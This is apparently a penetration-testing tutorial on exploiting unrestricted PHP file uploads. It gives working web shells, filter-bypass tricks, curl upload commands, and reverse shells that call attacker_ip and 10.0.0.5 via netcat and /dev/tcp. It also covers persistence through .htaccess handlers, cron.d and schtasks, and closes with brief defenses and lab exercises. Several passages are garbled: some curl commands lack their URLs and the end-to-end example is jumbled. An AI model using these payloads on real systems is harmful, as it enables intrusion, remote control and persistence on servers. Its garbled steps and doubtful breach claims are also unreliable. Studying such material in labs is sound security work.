Introduction
Unrestricted file upload is a classic web-application weakness that allows an attacker to place arbitrary files on the server’s filesystem. When the target runs a PHP interpreter, a malicious file can become a web shell - a thin back-door that executes arbitrary commands via HTTP requests.
Why does this matter? A single uploaded shell can give an attacker full control of the underlying operating system, pivot to internal networks, exfiltrate data, or install ransomware. In the 2023 OWASP Top-10, A08:2023 - Software and Data Integrity Failures explicitly references insecure file uploads as a vector for code execution.
Real-world relevance: High-profile breaches such as the WordPress media-library attacks and the 2021 SolarWinds supply-chain compromise both leveraged unrestricted uploads to plant malicious scripts.
Prerequisites
- Solid understanding of HTTP multipart/form-data requests.
- Familiarity with common PHP upload handling functions (e.g.,
move_uploaded_file()). - Experience with Burp Suite, DirBuster, curl, and netcat.
- Knowledge of basic Linux command line and PHP syntax.
Core Concepts
At its core, an unrestricted upload vulnerability occurs when the server accepts a file without validating:
- File type - MIME type or extension checks are missing or easily bypassed.
- File size - No limits allow large payloads.
- Destination path - The file is stored in a web-accessible directory (e.g.,
/uploads/).
When these controls are absent, an attacker can:
- Upload a
.phpscript that is executed by the web server. - Leverage double extensions (
shell.php.jpg) to evade naive filters. - Exploit null-byte injection (
%00) to truncate filename checks on vulnerable PHP versions.
Diagram (described):
Client → HTTP POST (multipart) → Vulnerable endpoint → File saved in webroot → Attacker accesses → Remote command execution.
Identifying vulnerable upload endpoints via Burp Suite and DirBuster
Finding the upload vector is often the hardest part. Follow this workflow:
- Spider the target with Burp Suite’s Spider or Crawler. Look for
<form enctype="multipart/form-data">tags. - Use Burp Intruder with a payload list of common filenames (
upload.php, upload.jsp, image.php) to test hidden endpoints. - Run DirBuster with a custom wordlist focused on upload directories (e.g.,
uploads/, media/, images/, files/) and common script names (upload.php, upload.php5, upload.asp). - Observe the response codes. A
200 OKor201 Createdafter a POST that contains a file is a strong indicator.
Example Burp Intruder configuration (JSON snippet for reference):
{ "payloads": ["upload.php", "admin/upload.php", "api/v1/upload"]
}
Tip: Pay attention to the Content-Disposition header in the request; some frameworks (e.g., Laravel, Django) use a generic /api/upload endpoint that can be abused.
Crafting a minimal PHP web shell payload
The goal is to keep the payload as small as possible to evade size-based filters while still providing a functional command interface.
<?php @eval($_REQUEST['cmd']); ?>
Explanation:
@suppresses error messages.eval()executes the string supplied via thecmdparameter.- Using
$_REQUESTaccepts GET, POST, or COOKIE values, increasing flexibility.
Even smaller (29 bytes) version:
<?=$_GET['c'];?>
While this version merely prints the supplied string, it can be combined with backticks to achieve execution:
<?=`$_GET['c']`;?>
When you need a more stealthy shell, consider a base64-encoded payload that is decoded at runtime:
<?php eval(base64_decode($_POST['p'])); ?>
Bypassing extension filters using double extensions and null byte injection
Many applications only check the file extension string after the last dot. Double extensions exploit this by appending a harmless image extension after the PHP code:
shell.php.jpg # Apache will still treat as PHP if AddHandler is set for .php
To make the server ignore the .jpg part, ensure the mod_mime configuration treats .php.jpg as PHP. In most default Apache setups, the first recognized handler wins, so .php takes precedence.
Null-byte injection works on PHP < 5.3.4 and certain CGI setups where the filename is passed to the filesystem API that stops at \0. The attack string looks like:
shell.php%00.jpg
When the server truncates at the null byte, the file is saved as shell.php and executed. Modern PHP versions have patched this, but legacy applications still exist in the wild.
Practical tip: Combine both techniques. Upload shell.php%00.jpg with a Content-Type: image/jpeg header to satisfy client-side checks while bypassing server filters.
Manipulating multipart/form-data boundaries for custom filenames
The multipart request format gives you direct control over the filename attribute. By crafting the boundary manually, you can embed special characters, spaces, or Unicode that some parsers mishandle.
POST /upload.php HTTP/1.1
Host: vulnerable.example
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php\x00.jpg"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Key points:
- The
\x00(null byte) is encoded as raw binary; many tools (Burp, curl) allow--form-stringto embed it. - Changing the boundary string prevents IDS signatures that look for the default
----WebKitFormBoundarypattern. - Some WAFs normalize whitespace; inserting invisible Unicode (e.g.,
U+200B ZERO WIDTH SPACE) can evade regex checks.
Example using curl with a custom boundary and null byte:
curl -X POST -H "Content-Type: multipart/form-data; boundary=----MyBoundary" --data-binary $'------MyBoundary
Content-Disposition: form-data; name="file"; filename="shell.php\0.jpg"
Content-Type: application/octet-stream
------MyBoundary--'
Testing execution with curl and netcat reverse shells
Once the file is uploaded, you need to verify execution. Two common approaches:
1. Simple command echo
curl "
Expected output: the user under which the web server runs (often www-data or apache).
2. Netcat reverse shell
Set up a listener on your attacker machine:
nc -lvkp 4444
Trigger the reverse shell via the uploaded payload:
curl " -e /bin/bash attacker_ip 4444"
On modern systems where nc -e is disabled, use a bash reverse shell snippet:
curl " -i >& /dev/tcp/attacker_ip/4444 0>&1"
Explanation:
- The
bash -icommand spawns an interactive shell. - Redirection to
/dev/tcpopens a TCP socket to the attacker. - Netcat listener receives the shell, giving full command control.
Persisting the shell via .htaccess or scheduled tasks
After gaining execution, persistence is essential. Two common routes on shared-hosting environments:
.htaccess abuse
If the web server respects .htaccess files, you can force PHP execution on files with non-PHP extensions:
AddHandler application/x-httpd-php .jpg .png .txt
Upload a harmless-looking image.jpg containing the shell code, then place the above directive in a .htaccess placed in the same directory. The server will now parse .jpg as PHP, granting you a persistent back-door.
Scheduled cron jobs (Linux) or Windows Task Scheduler
Many web panels allow users to define cron jobs (e.g., cPanel). If you can upload a PHP script that writes a cron entry, you achieve persistence even after file deletion.
<?php
$cron = "* * * * * /usr/bin/php /var/www/html/uploads/shell.php";
file_put_contents('/etc/cron.d/webshell', $cron);
?>
On Windows hosts, use schtasks.exe via PHP’s exec():
<?php exec('schtasks /Create /SC MINUTE /TN "WebShell" /TR "php C:\\inetpub\\wwwroot\\uploads\\shell.php"'); ?>
Note: Writing to system directories requires elevated privileges; however, many shared-hosting environments expose writable cron directories to the web user.
Practical Examples
Below is a full end-to-end scenario against a fictional vulnerable site This chain demonstrates how each sub-technique combines to achieve a reliable foothold. From a defender’s perspective, the following controls break the attack chain: Additional hardening: enable Unrestricted uploads have been the entry point for several high-profile breaches: From a strategic viewpoint, these vulnerabilities often coexist with insecure deserialization or SSRF, forming a “chain of trust” that attackers exploit. As cloud-native architectures increase, the attack surface widens, making robust upload validation a priority for any security program. For each exercise, capture screenshots of Burp, curl output, and the remote shell prompt. Mastering these techniques equips penetration testers to assess real-world applications while providing defenders with a concrete checklist to harden their upload functionality.
common.txt.
Result: dirbuster -u -w /usr/share/dirbuster/wordlists/common.txt -x php,asp,aspx,jsp
returns 200 OK on POST.
Save as <?php exec("bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"); ?>
shell.php.
Server stores file at curl -F "file=@shell.php;filename=shell.php.jpg"
/var/www/html/uploads/shell.php.jpg.
Upload AddHandler application/x-httpd-php .jpg
.htaccess to the same directory using the same curl command.
Result: a fully interactive bash prompt appears on the attacker’s netcat listener.
nc -lvkp 4444
# In another terminal
curl
Tools & Commands
curl -v -F "file=@payload.php;filename=payload.php"
Defense & Mitigation
.png, .jpg) and verify using finfo_file().
Content-Type.
php_admin_flag engine off or SetHandler None in Apache config.
upload_max_filesize and post_max_size.
open_basedir restriction, disable allow_url_fopen, and run the web server with a non-privileged user.Common Mistakes
Real-World Impact
wp-content/uploads, and harvested credentials from thousands of sites.Practice Exercises
DVWA or bWAPP). Identify the upload endpoint using Burp Suite and DirBuster.shell.php.png) and upload it. Verify execution via a simple system('id'); call..php filter that only allows .jpg by injecting a null byte. Document the request headers used.curl command that manipulates the multipart boundary to embed a hidden Unicode character in the filename. Observe how the target server logs the filename..htaccess file. Demonstrate that the shell remains functional after the original .php file is deleted.Further Reading
T1105 (Ingress Tool Transfer) and T1059 (Command-Line Interface).Summary
eval($_REQUEST['cmd']) or base64-encoded variants..htaccess handler overrides or scheduled tasks.